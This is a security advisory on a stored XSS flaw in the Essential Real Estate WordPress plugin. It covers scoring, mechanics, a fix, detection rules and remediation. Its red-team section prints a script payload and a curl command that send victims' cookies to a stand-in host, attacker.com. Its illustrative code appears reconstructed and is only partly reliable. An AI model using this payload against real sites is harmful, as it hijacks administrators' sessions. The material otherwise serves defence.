CVE-2023-6141

Executive Summary

CVE-2023-6141 is a Stored Cross-Site Scripting (XSS) vulnerability in the Essential Real Estate WordPress plugin, versions before 4.4.0. The plugin fails to enforce proper capability checks on its AJAX actions, allowing authenticated attackers with subscriber-level privileges to inject malicious scripts. These scripts are stored on the server and executed in the browsers of other users, including administrators, leading to session hijacking, data theft, or further compromise. This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx).

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin update by checking the plugin’s checksum or signature if provided. No known supply chain compromise has been reported for this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber)
• User Interaction: Required (Victim must visit the page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the impact is limited to low confidentiality and integrity, the low attack complexity and low privileges required make it a viable target for attackers.

Deep Dive & Mechanics

The vulnerability resides in the AJAX handlers of the Essential Real Estate plugin. The plugin registers several AJAX actions for both authenticated and unauthenticated users. However, the capability checks (e.g., current_user_can()) are missing or improperly implemented for certain actions. This allows a user with a subscriber account (the lowest privileged role) to call these AJAX endpoints.

The AJAX actions likely handle the saving of user-generated content, such as property listings, agent profiles, or custom fields. Without proper authorization, an attacker can submit malicious JavaScript payloads within these fields. The payload is then stored in the WordPress database and rendered on the frontend without proper sanitization or output encoding.

When an administrator or other user views the page containing the malicious content, the script executes in their browser. This can be used to steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (before 4.4.0):

add_action('wp_ajax_save_property', 'handle_save_property');
function handle_save_property() {
    // No capability check
    $property_data = $_POST['property_data'];
    // Directly saves to database without sanitization
    update_post_meta($property_id, 'property_data', $property_data);
}

Patched Code (4.4.0+):

add_action('wp_ajax_save_property', 'handle_save_property');
function handle_save_property() {
    // Added capability check
    if (!current_user_can('edit_posts')) {
        wp_die('Unauthorized');
    }
    // Added input sanitization
    $property_data = sanitize_text_field($_POST['property_data']);
    update_post_meta($property_id, 'property_data', $property_data);
}

The patch adds a capability check (current_user_can('edit_posts')) to ensure only users with the ability to edit posts can access the AJAX action. Additionally, input sanitization (sanitize_text_field()) is applied to prevent XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Essential Real Estate plugin version < 4.4.0.
• A subscriber account (username: attacker, password: attacker123).

Exploitation Steps:

1. Log in as the subscriber.
2. Identify the vulnerable AJAX endpoint (e.g., admin-ajax.php?action=save_property).
3. Craft a malicious payload:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Send a POST request to the AJAX endpoint with the payload:

   curl -X POST http://target.com/wp-admin/admin-ajax.php \
     -d "action=save_property&property_data=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>" \
     --cookie "wordpress_logged_in_xxx=attacker_session_cookie"
   

5. The payload is stored. When an admin visits the property page, the script executes and sends the admin's cookie to the attacker's server.

Blue Team

Detection Steps:

1. Monitor AJAX requests to admin-ajax.php with suspicious parameters (e.g., action=save_property from low-privilege users).
2. Review WordPress database for stored XSS payloads in post meta or custom fields.
3. Check web server logs for unusual POST requests containing <script> tags.
4. Use the detection rules provided below.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing cookies in the URL.
  • POST requests to /wp-admin/admin-ajax.php with action=save_property from non-admin users.
• Host IOCs:
  • Presence of <script> tags in WordPress post meta or custom fields.
  • Unexpected entries in the wp_postmeta table with meta_key related to property data.
• File IOCs:
  • Modified plugin files (check file integrity against WordPress repository).

Detection Engineering

YARA Rule

rule Detect_Stored_XSS_WordPress {
    meta:
        description = "Detects stored XSS payloads in WordPress post meta"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-6141"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $meta_key = "property_data"
    condition:
        $xss_payload and $meta_key
}

Sigma Rule

title: Stored XSS via Essential Real Estate Plugin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts via AJAX actions in Essential Real Estate plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=save_property'
        cs-uri-query|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in property descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-6141 Stored XSS via Essential Real Estate Plugin";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=save_property"; http_client_body;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin: Upgrade Essential Real Estate to version 4.4.0 or later.
2. Review user roles: Ensure only trusted users have subscriber or higher roles.
3. Scan for existing payloads: Use the YARA rule above to scan the database for stored XSS.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) to block malicious AJAX requests.
• Enforce strict Content Security Policy (CSP) headers to prevent script execution.
• Regularly audit WordPress plugins for security updates.
• Apply the principle of least privilege to all user roles.

Patch Details:

• Vendor: Essential Real Estate
• Patch Version: 4.4.0
• Patch URL: WordPress Plugin Repository

Valters IT
Securing Digital Frontiers